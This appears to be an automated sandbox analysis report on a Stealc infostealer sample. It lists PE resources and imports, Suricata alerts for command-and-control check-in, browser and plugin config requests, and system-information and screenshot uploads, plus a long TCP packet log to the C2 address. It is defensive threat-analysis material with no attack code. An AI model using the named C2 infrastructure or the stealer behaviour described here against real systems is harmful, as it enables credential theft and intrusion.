RT_STRING	0xc2438	0x208	data	Tamil	India	0.5192307692307693
RT_STRING	0xc2438	0x208	data	Tamil	Sri Lanka	0.5192307692307693
RT_ACCELERATOR	0xbbd70	0x58	data	Tamil	India	0.7954545454545454
RT_ACCELERATOR	0xbbd70	0x58	data	Tamil	Sri Lanka	0.7954545454545454
RT_GROUP_CURSOR	0xbda80	0x30	data			0.9375
RT_GROUP_CURSOR	0xbdc90	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0xbf970	0x30	data			0.9375
RT_GROUP_CURSOR	0xc1658	0x30	data			0.9375
RT_GROUP_ICON	0xb1978	0x30	data	Tamil	India	0.9375
RT_GROUP_ICON	0xb1978	0x30	data	Tamil	Sri Lanka	0.9375
RT_GROUP_ICON	0xb8168	0x76	data	Tamil	India	0.6694915254237288
RT_GROUP_ICON	0xb8168	0x76	data	Tamil	Sri Lanka	0.6694915254237288
RT_VERSION	0xc1688	0x258	data			0.5366666666666666

Imports

DLL	Import
KERNEL32.dll	InterlockedIncrement, InterlockedDecrement, GetCurrentProcess, GetLogicalDriveStringsW, CreateJobObjectW, WriteConsoleInputA, GetComputerNameW, GetTimeFormatA, CallNamedPipeW, FreeEnvironmentStringsA, GetTickCount, GetCommConfig, GetNumberFormatA, ClearCommBreak, GetConsoleAliasExesW, EnumTimeFormatsA, TlsSetValue, GetCurrencyFormatW, SetFileShortNameW, LoadLibraryW, ReadConsoleInputA, IsBadCodePtr, CreateProcessW, GetVersionExW, GetFileAttributesW, GetModuleFileNameW, LCMapStringA, InterlockedExchange, GetLastError, SetLastError, GetProcAddress, VirtualAlloc, DefineDosDeviceW, GetDiskFreeSpaceW, LoadLibraryA, OpenJobObjectW, SetEnvironmentVariableA, GlobalWire, GlobalUnWire, GetCurrentDirectoryA, OpenEventW, GetShortPathNameW, SetFileAttributesW, SetVolumeMountPointA, GetTempFileNameW, HeapAlloc, UnhandledExceptionFilter, SetUnhandledExceptionFilter, HeapReAlloc, GetStartupInfoW, RaiseException, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapFree, VirtualFree, HeapCreate, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, TlsGetValue, TlsAlloc, TlsFree, GetCurrentThreadId, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetModuleHandleA, InitializeCriticalSectionAndSpinCount, TerminateProcess, IsDebuggerPresent, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, HeapSize, GetLocaleInfoA, WideCharToMultiByte, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW
GDI32.dll	GetCharWidth32A
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T04:16:57.795817+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	77.83.175.105	80	TCP
2024-10-29T04:16:58.047297+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	77.83.175.105	80	TCP
2024-10-29T04:16:58.063008+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	77.83.175.105	80	192.168.2.4	49730	TCP
2024-10-29T04:16:58.296262+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	77.83.175.105	80	TCP
2024-10-29T04:16:58.306295+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	77.83.175.105	80	192.168.2.4	49730	TCP
2024-10-29T04:16:58.992074+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	77.83.175.105	80	TCP
2024-10-29T04:16:59.502797+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	77.83.175.105	80	TCP
2024-10-29T04:17:15.553126+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:18.812636+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:20.417317+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:21.300535+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:23.312542+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:23.821665+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:25.982936+0100	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.4	49755	77.83.175.105	80	TCP
2024-10-29T04:17:28.299849+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49761	87.106.236.48	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 04:16:56.686306000 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:56.691804886 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:56.691925049 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:56.692080021 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:56.697324038 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:57.511162996 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:57.511246920 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:57.514717102 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:57.520101070 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:57.795655012 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:57.795816898 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:57.808850050 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:57.814264059 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.047209978 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.047278881 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.047297001 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:58.047343969 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:58.057653904 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:58.063008070 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.296179056 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.296200991 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.296215057 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.296230078 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.296245098 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.296258926 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.296262026 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:58.296274900 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.296294928 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:58.296313047 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:58.301000118 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:58.306294918 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.541961908 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.542011976 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:58.565289974 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:58.565360069 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:58.570636988 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.570760965 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.570858955 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.570872068 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.570964098 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.570982933 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.991976023 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:58.992074013 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.265819073 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.271326065 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.502727985 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.502767086 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.502796888 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.502804995 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.502820969 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.502821922 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.502837896 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.502851963 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.502855062 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.502875090 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.502918005 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.502918005 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.503679037 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.503710032 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.503726006 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.503730059 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.503750086 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.503761053 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.503772020 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.503787041 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.503889084 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.504663944 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.504710913 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.552459955 CET	49675	443	192.168.2.4	173.222.162.32
Oct 29, 2024 04:16:59.622556925 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.622586966 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.622610092 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.622625113 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.622641087 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.622659922 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.622725010 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.622975111 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.622997046 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.623013020 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.623024940 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.623071909 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.623083115 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.623099089 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.623126984 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.623158932 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.623933077 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.623982906 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.624028921 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.736167908 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.736186981 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.736222982 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.736241102 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.736304998 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.736304998 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.736304998 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.736368895 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.736383915 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.736398935 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.736413002 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.736444950 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.736444950 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.736445904 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.737271070 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.737287045 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.737302065 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.737318039 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.737328053 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.737364054 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.737364054 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.737925053 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.737938881 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.737986088 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.853393078 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.853429079 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.853523970 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.853558064 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.853559971 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.853631020 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.853636026 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.853686094 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.853718996 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.853722095 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.853751898 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.853784084 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.853818893 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.853852987 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.853930950 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.854070902 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.854480982 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.854513884 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.854548931 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.854552031 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.854585886 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.854620934 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.969779015 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.969810963 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.969868898 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.969908953 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.969960928 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.969991922 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.969996929 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.970024109 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.970031023 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.970046043 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.970063925 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.970081091 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.970211029 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.970629930 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.970674038 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.970696926 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.970787048 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.970851898 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.970885038 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.970917940 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.970928907 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.970956087 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.971050024 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.971278906 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.971340895 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.971374035 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.971421957 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.971453905 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.971472025 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:16:59.971486092 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.971513987 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:16:59.971559048 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.086448908 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.086524010 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.086568117 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.086575031 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.086594105 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.086608887 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.086642027 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.086678982 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.086733103 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.086783886 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.086816072 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.086848021 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.086855888 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.086879015 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.086906910 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.087153912 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.087188005 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.087219000 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.087220907 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.087258101 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.087296009 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.087340117 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.087694883 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.087742090 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.087755919 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.087774038 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.087805033 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.087807894 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.087836981 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.087843895 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.087872028 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.087905884 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.203490973 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.203527927 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.203568935 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.203600883 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.203603029 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.203603029 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.203646898 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.203648090 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.203654051 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.203686953 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.203701973 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.203757048 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.203778028 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.203807116 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.203844070 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.203862906 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.203938007 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.204005003 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.204010010 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.204039097 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.204071045 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.204071045 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.204091072 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.204106092 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.204127073 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.204154015 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.204176903 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.204219103 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.204773903 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.204807043 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.204839945 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.204855919 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.204900026 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.204900026 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.319946051 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320014000 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320030928 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320039988 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.320046902 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320080996 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.320120096 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.320178032 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320195913 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320235014 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320235968 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.320251942 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320266962 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320285082 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.320331097 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.320837975 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320893049 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.320934057 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320950031 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320965052 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320981026 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.320987940 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.320997953 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.321016073 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.321055889 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.321674109 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.321696997 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.321729898 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.321763992 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.436882973 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.436930895 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.436947107 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.436960936 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.436975002 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.436978102 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.436978102 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.436990976 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.437026024 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.437060118 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.437237024 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.437258005 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.437274933 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.437283039 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.437289000 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.437304974 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.437330961 CET	49730	80	192.168.2.4	77.83.175.105
